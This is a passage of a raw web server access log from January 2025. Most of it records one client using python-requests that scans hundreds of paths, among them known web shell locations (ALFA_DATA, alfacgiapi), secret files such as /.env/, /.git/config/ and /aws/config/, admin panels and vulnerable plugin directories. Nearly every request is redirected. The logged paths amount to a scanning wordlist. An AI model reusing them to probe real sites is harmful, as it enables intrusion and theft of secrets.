+0530] "GET /cpanel.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:59 +0530] "GET /upload/fw HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 23.26.77.35 - - [19/Jan/2025:18:03:32 +0530] "GET / HTTP/1.1" 302 220 "-" "python-requests/2.32.3" 18.143.133.223 - - [19/Jan/2025:18:09:29 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 18.143.133.223 - - [19/Jan/2025:18:26:23 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:28:28 +0530] "GET /img/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:30 +0530] "GET /wp-includes/PHPMailer/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:32 +0530] "GET /Site/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:34 +0530] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:34 +0530] "GET /credentials/credentials/ HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:35 +0530] "GET /admin/login/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:37 +0530] "GET /cms/adMInhtml_page/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:38 +0530] "GET /wp-admin/ALFA_DATA/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:39 +0530] "GET /upload/image/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:39 +0530] "GET /shop/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:40 +0530] "GET /rss/catalog/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:42 +0530] "GET /.well-known/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:45 +0530] "GET /.well-known/acme-challenge HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:46 +0530] "GET /wp-content/themes/travel/ HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:49 +0530] "GET /cgialfa/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:49 +0530] "GET /articles/wp-json/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:50 +0530] "GET /server-status/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:51 +0530] "GET /wp-includes/pomo/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:52 +0530] "GET /network/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:52 +0530] "GET /NEW/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:53 +0530] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:53 +0530] "GET /wp-content/plugins/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:54 +0530] "GET /myadmin/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:55 +0530] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 302 272 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:55 +0530] "GET /wp-content/languages/themes/ HTTP/1.1" 302 248 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:56 +0530] "GET /wp-content/uploads/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:28:58 +0530] "GET /2019/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:00 +0530] "GET /block-patterns/ HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:02 +0530] "GET /pdf/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:03 +0530] "GET /sql/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:09 +0530] "GET /admin/uploads/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:10 +0530] "GET /include/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:11 +0530] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 302 248 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:12 +0530] "GET /admin/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:12 +0530] "GET /wp-content/themes/twenty/ HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:13 +0530] "GET /upload/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:14 +0530] "GET /.env/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:15 +0530] "GET /backup/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:15 +0530] "GET /block-supports/ HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:16 +0530] "GET /pma/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:16 +0530] "GET /wp-content/plugins/wp-pinterest-automatic/changelog/ HTTP/1.1" 302 272 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:17 +0530] "GET /web/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:17 +0530] "GET /2021/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:18 +0530] "GET /admin/tmp/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:18 +0530] "GET /users/sign_in/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:19 +0530] "GET /plugins/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:20 +0530] "GET /new/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:20 +0530] "GET /wp-content/cgialfa/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:21 +0530] "GET /feeds/posts/default/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:21 +0530] "GET /wp-json/wp/v2/users/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:22 +0530] "GET /tmb/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:22 +0530] "GET /wp-includes/SimplePie/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:23 +0530] "GET /gallery/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:24 +0530] "GET /templates/beez3/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:25 +0530] "GET /portal/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:25 +0530] "GET /cms/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:26 +0530] "GET /demo/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:26 +0530] "GET /oldsite/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:27 +0530] "GET /ALFA_DATA/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:27 +0530] "GET /blogs/wp-json/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:28 +0530] "GET /wp-includes/Requests/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:29 +0530] "GET /aws/config/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:29 +0530] "GET /cache/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:30 +0530] "GET /wp-content/ALFA_DATA/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:30 +0530] "GET /widwsisw/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:31 +0530] "GET /wp-content/languages/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:31 +0530] "GET /wp-includes/rest-api/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:32 +0530] "GET /wp-includes/widgets/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:32 +0530] "GET /wp-content/themes/twentytwentythree/ HTTP/1.1" 302 256 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:33 +0530] "GET /db/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:34 +0530] "GET /wp-includes/alfacgiapi/ HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:34 +0530] "GET /wp-admin/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:35 +0530] "GET /wp-content/themes/intense/ HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:35 +0530] "GET /2022/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:36 +0530] "GET /file/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:38 +0530] "GET /dev/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:40 +0530] "GET /rss/order/new/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:41 +0530] "GET /magento/rss/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:43 +0530] "GET /store/rss/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:43 +0530] "GET /database/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:44 +0530] "GET /administrator/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:45 +0530] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:46 +0530] "GET /bac/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:47 +0530] "GET /wp-json/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:48 +0530] "GET /rss/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:49 +0530] "GET /includes/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:49 +0530] "GET /php/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:50 +0530] "GET /wp-admin/cgialfa/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:51 +0530] "GET /wp-content/mu-plugins/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:51 +0530] "GET /site/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:52 +0530] "GET /wp-old/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:52 +0530] "GET /docs/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:53 +0530] "GET /amember/admin-users/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:53 +0530] "GET /admin/uploads/images/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:54 +0530] "GET /server/php/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:54 +0530] "GET /posts/wp-json/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:55 +0530] "GET /phpinfo/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:56 +0530] "GET /up/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:57 +0530] "GET /wp-includes/customize/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:58 +0530] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:29:59 +0530] "GET /service/extdirect/ HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:00 +0530] "GET /bak/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:01 +0530] "GET /back/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:01 +0530] "GET /forums/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:02 +0530] "GET /wp-content/themes/hideo/ HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:03 +0530] "GET /wp-includes/sitemaps/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:03 +0530] "GET /customers/1/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:04 +0530] "GET /.quarantine/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:04 +0530] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:05 +0530] "GET /components/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:05 +0530] "GET /user/login/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:06 +0530] "GET /wp-includes/Text/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:06 +0530] "GET /wp-content/plugins/wp-help/admin/ HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:07 +0530] "GET /blocks/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:08 +0530] "GET /feed/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:08 +0530] "GET /members/login/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:09 +0530] "GET /wp-includes/cgialfa/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:09 +0530] "GET /TEST/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:10 +0530] "GET /test/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:10 +0530] "GET /wp-includes/css/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:11 +0530] "GET /user/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:20 +0530] "GET /config/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:31 +0530] "GET /wp-includes/style-engine/ HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:45 +0530] "GET /wp-admin/user/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:55 +0530] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:57 +0530] "GET /tinc/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:58 +0530] "GET /plesk-stat/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:58 +0530] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:30:59 +0530] "GET /mysql/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:00 +0530] "GET /OLD/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:01 +0530] "GET /2020/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:02 +0530] "GET /admin/images/slider/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:03 +0530] "GET /wp-admin/js/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:05 +0530] "GET /wp-admin/js/widgets/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:06 +0530] "GET /sito/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:06 +0530] "GET /blog/feed/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:07 +0530] "GET /wp-content/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:08 +0530] "GET /modules/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:09 +0530] "GET /wp-content/updraft/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:10 +0530] "GET /main/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:11 +0530] "GET /admin/upload/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:12 +0530] "GET /wordpress/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:12 +0530] "GET /wp-admin/meta/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:13 +0530] "GET /www/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:14 +0530] "GET /wp-admin/maint/ HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:14 +0530] "GET /wp-admin/alfacgiapi/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:15 +0530] "GET /wp-content/upgrade/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:16 +0530] "GET /graphql/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:17 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/ HTTP/1.1" 302 272 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:19 +0530] "GET /.tmb/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:19 +0530] "GET /forum/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:20 +0530] "GET /wp-includes/ALFA_DATA/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:21 +0530] "GET /.well-known/pki-validation/ HTTP/1.1" 404 - "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:22 +0530] "GET /blog/wp-json/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:23 +0530] "GET /category/feed/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:23 +0530] "GET /image/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:24 +0530] "GET /MYzoomsounds/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:25 +0530] "GET /SHOP/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:25 +0530] "GET /2018/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:26 +0530] "GET /home/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:26 +0530] "GET /WordPress/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:27 +0530] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:28 +0530] "GET /bc/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:30 +0530] "GET /fonts/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:35 +0530] "GET /bk/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:37 +0530] "GET /css/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:37 +0530] "GET /wp-includes/sodium_compat/src/Core/ChaCha20/ HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:38 +0530] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:38 +0530] "GET /phpmyadmin/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:39 +0530] "GET /debug/default/view/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:40 +0530] "GET /tmps/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:40 +0530] "GET /mysqladmin/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:31:58 +0530] "GET /assets/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:25 +0530] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:31 +0530] "GET /bongkar.biz.id/public/_ignition/health-check/ HTTP/1.1" 302 265 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:42 +0530] "GET /Backoffice/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:52 +0530] "GET /user/register/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:53 +0530] "GET /article/wp-json/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:32:55 +0530] "GET /old/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:06 +0530] "GET /js/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:08 +0530] "GET /cpanel/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:09 +0530] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:11 +0530] "GET /.well-known/acme-challenge/ HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:12 +0530] "GET /.well-known/acme-challenge/ HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:13 +0530] "GET /BLOG/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:16 +0530] "GET /wp-admin/css/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:17 +0530] "GET /.git/config/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:19 +0530] "GET /post/wp-json/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:20 +0530] "GET /wp-admin/includes/ HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:21 +0530] "GET /wp-content/alfacgiapi/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:22 +0530] "GET /sitio/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:23 +0530] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:24 +0530] "GET /customers/ HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:24 +0530] "GET /magento_version/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:25 +0530] "GET /wp-includes/ID3/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:25 +0530] "GET /uploads/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:27 +0530] "GET /blog/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:28 +0530] "GET /wp-includes/js/ HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:29 +0530] "GET /sites/default/files/ HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:30 +0530] "GET /files/ HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 